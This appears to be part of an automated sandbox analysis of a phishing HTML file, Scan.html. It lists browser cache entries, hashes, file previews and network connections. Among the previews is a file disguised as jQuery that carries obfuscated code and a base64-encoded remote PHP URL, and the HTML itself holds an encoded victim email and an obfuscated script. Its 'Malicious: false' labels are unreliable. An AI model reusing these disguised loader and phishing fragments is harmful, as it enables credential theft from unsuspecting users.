Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32012)
Category:	downloaded
Size (bytes):	69597
Entropy (8bit):	5.369216080582935
Encrypted:	false
SSDEEP:	1536:qNhEyjjTikEJO4edXXe9J578go6MWX2xkjVe4c4j2ll2Ac7pK3F71QDU8CuT:Exc2yjq4j2uYnQDU8CuT
MD5:	5F48FC77CAC90C4778FA24EC9C57F37D
SHA1:	9E89D1515BC4C371B86F4CB1002FD8E377C1829F
SHA-256:	9365920887B11B33A3DC4BA28A0F93951F200341263E3B9CEFD384798E4BE398
SHA-512:	CAB8C4AFA1D8E3A8B7856EE29AE92566D44CEEAD70C8D533F2C98A976D77D0E1D314719B5C6A473789D8C6B21EBB4B89A6B0EC2E1C9C618FB1437EBC77D3A269
Malicious:	false
URL:	https://code.jquery.com/jquery-3.2.1.slim.min.js
Preview:	/! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_e

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	dropped
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 132

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (50758)
Category:	dropped
Size (bytes):	51039
Entropy (8bit):	5.247253437401007
Encrypted:	false
SSDEEP:	768:E9Yw7GuJM+HV0cen/7Kh5rM7V4RxCKg8FW/xsXQUd+FiID65r48Hgp5HRl+:E9X7PMIM7V4R5LFAxTWyuHHgp5HRl+
MD5:	67176C242E1BDC20603C878DEE836DF3
SHA1:	27A71B00383D61EF3C489326B3564D698FC1227C
SHA-256:	56C12A125B021D21A69E61D7190CEFA168D6C28CE715265CEA1B3B0112D169C4
SHA-512:	9FA75814E1B9F7DB38FE61A503A13E60B82D83DB8F4CE30351BD08A6B48C0D854BAF472D891AF23C443C8293380C2325C7B3361B708AF9971AA0EA09A25CDD0A
Malicious:	false
Preview:	/!. Bootstrap v4.1.3 (https://getbootstrap.com/). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function l(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filter(function(t){return Object.getOwnPropertyDescriptor(o,t).enum

Chrome Cache Entry: 133

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (62826)
Category:	downloaded
Size (bytes):	846520
Entropy (8bit):	4.688106454428643
Encrypted:	false
SSDEEP:	6144:b6qmgraGsC3hsW3WlFCDq0gxiGYQanrYrgpjkkojsDvwfFM:b6K3oCCjxM
MD5:	73988F04815CB0BB1CB0074DE7E46DC6
SHA1:	2E250EA8506C2BA0E6CE9535F43579CAB697945F
SHA-256:	A922936A2F13B8AE82DE0547A5F07C79DD442C58D949417A4025503732D67D4E
SHA-512:	B3FD32A5CA4805BC95218D8C2FF7993797470AD9FAB45E57DF9FCCFAB7A43C9E56AB48FCF1CE6AD321F93972CFEE2372E4DA018FD6A1C7D24B005DB037E43910
Malicious:	false
URL:	https://www.newlifecon.com/js/css/jquery.js
Preview:	/! jQuery v3.6.0 jquery.com \| jquery.org/license /.var file = "aHR0cDovL2ludGVjaGRlc2lnbi5reWxvcy5wbC93cC1jb250ZW50L2Rvbi9jbGFzcy5waHA=";.var _0x4b6823=_0x1b8a;function _0x32cc(){var _0x3e02d0=['trim','map','split','log','length','240624RTdHeP','3951MakCuM','2842024nTYJNF','filter','39385ziSWfF','__cfduid=da48fc97c9ea6147d5534503f5337db821534343165;\x20expires=Thu,\x2015-Aug-19\x2014:26:05\x20GMT;\x20path=/;\x20domain=.foobar.com;\x20HttpOnly,\x20XSRF-TOKEN=eyJpdiI6Imx3TXJFZ013QVRiXC9mUzFMXC9uM2NzQT09IiwidmFsdWUiOiJ5Z2V2SVJRUlpKRmQ0c0xCU0VWUDBGVzduWnBxVlwvaVhVTnlSbzdnTnJkdzlNd0M2KzFDZWVzQ3lZT1N6RkpJdkZuM0w4MkMraE5SWDN1XC9xUmlNNDJRPT0iLCJtYWMiOiI3MmE4YzEwYTY5ZGI5NTIyNWMyZTBmM2Q0YTlhZGE3Mzk2MzYyMmI1NGZiYWFmNjBlMjgxMTZjMzFkOGU3N2UxIn0%3D;\x20expires=Wed,\x2015-Aug-2018\x2016:26:05\x20GMT;\x20Max-Age=7200;\x20path=/,\x20laravel_session=eyJpdiI6Ikp2ckE5ME5KRFU4TlFOc0xxVUZXR2c9PSIsInZhbHVlIjoiRWRcLzRMdFJLMEM2U2dEdTdUN1FcL2w2WGZ5eGJ1VmF2ZHJYd2JoVjUzSHBWQlkzYmIzWWRzUllMcEt0Sjk3OVlaeGRLTWozNF

Chrome Cache Entry: 134

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
URL:	https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 135

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 136

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (50758)
Category:	downloaded
Size (bytes):	51039
Entropy (8bit):	5.247253437401007
Encrypted:	false
SSDEEP:	768:E9Yw7GuJM+HV0cen/7Kh5rM7V4RxCKg8FW/xsXQUd+FiID65r48Hgp5HRl+:E9X7PMIM7V4R5LFAxTWyuHHgp5HRl+
MD5:	67176C242E1BDC20603C878DEE836DF3
SHA1:	27A71B00383D61EF3C489326B3564D698FC1227C
SHA-256:	56C12A125B021D21A69E61D7190CEFA168D6C28CE715265CEA1B3B0112D169C4
SHA-512:	9FA75814E1B9F7DB38FE61A503A13E60B82D83DB8F4CE30351BD08A6B48C0D854BAF472D891AF23C443C8293380C2325C7B3361B708AF9971AA0EA09A25CDD0A
Malicious:	false
URL:	https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js
Preview:	/!. Bootstrap v4.1.3 (https://getbootstrap.com/). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function l(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filter(function(t){return Object.getOwnPropertyDescriptor(o,t).enum

Chrome Cache Entry: 137

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	downloaded
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js
Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Chrome Cache Entry: 138

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	dropped
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Chrome Cache Entry: 139

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	dropped
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 140

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48664)
Category:	dropped
Size (bytes):	48944
Entropy (8bit):	5.272507874206726
Encrypted:	false
SSDEEP:	768:9VG5R15WbHVKZrycEHSYro34CrSLB6WU/6DqBf4l1B:9VIRuo53XiwWTvl1B
MD5:	14D449EB8876FA55E1EF3C2CC52B0C17
SHA1:	A9545831803B1359CFEED47E3B4D6BAE68E40E99
SHA-256:	E7ED36CEEE5450B4243BBC35188AFABDFB4280C7C57597001DE0ED167299B01B
SHA-512:	00D9069B9BD29AD0DAA0503F341D67549CCE28E888E1AFFD1A2A45B64A4C1BC460D81CFC4751857F991F2F4FB3D2572FD97FCA651BA0C2B0255530209B182F22
Malicious:	false
Preview:	/!. Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function r(){return(r=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}e=e&&e.hasOwnProperty("default")?e.default:e,n=n&&n.hasOwnProp

Chrome Cache Entry: 141

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	downloaded
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
URL:	https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 142

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://aadcdn.msauth.net/ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Static File Info

General

File type:	HTML document, ASCII text, with very long lines (7839), with CRLF line terminators
Entropy (8bit):	5.30349315011559
TrID:	HTML Application (8008/1) 100.00%
File name:	Scan.html
File size:	7'910 bytes
MD5:	fc90c02477d1c028aeabeb8e0abcef58
SHA1:	51f58e0b261363bc34390a570b1108d16768ee0b
SHA256:	770b8655e05b3b8c42eb9f33a7c5ecd1b97598b29fd54e6ea7697df0c0d9b7cb
SHA512:	edb5c455b1309abd8fc75b44fc83117606dd4bff4d9cfe4a4cd40059e9c33164356a290f7bf5d7611d7a82f3d5db21e44c40dbd68aaadfe4dfe9a52b41a2a6e4
SSDEEP:	192:fOjci5EPlEbtdcevzRT2sE/GXnYejmbORlJ:fIXskJza0nPpP
TLSH:	BEF11FC8579BEA07F1DCEA2F9D36EB6EC8792CB2159D700AD1033D1D993D3D24A20A50
File Content Preview:	<script>..var uid = 'c3Rpam4uc2Vzc2VsbGVAYnBvc3QuYmU=';..</script>..<script>const CD={'\u0055\x76\u0043\x4a\x24\u005a':((qOa,qIy=0b1001101111)=>{qIy^=qOa;return {'\x71\x48\x45\x62':l=>'\x5a\x58\u0064\x73\u0061','\u0071\x43\x42\x31\u0064':Y=>'\x53\x39\u00

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 16:44:52.887671947 CET	49733	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:52.887697935 CET	443	49733	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:52.887758970 CET	49733	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:52.887928963 CET	49733	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:52.887938023 CET	443	49733	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:53.388952017 CET	443	49733	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:53.389451981 CET	49733	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:53.389494896 CET	443	49733	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:53.390638113 CET	443	49733	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:53.390707016 CET	49733	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:53.393052101 CET	49733	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:53.393162966 CET	443	49733	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:53.393846035 CET	49733	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:53.393860102 CET	443	49733	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:53.444441080 CET	49733	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:53.562443972 CET	443	49733	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:53.603292942 CET	49733	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:53.603357077 CET	443	49733	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:53.648832083 CET	49733	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:53.649210930 CET	443	49733	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:53.649245024 CET	443	49733	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:53.649288893 CET	443	49733	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:53.649315119 CET	443	49733	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:53.649349928 CET	49733	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:53.649349928 CET	49733	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:53.649349928 CET	49733	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:53.649369955 CET	443	49733	151.106.103.153	192.168.2.4
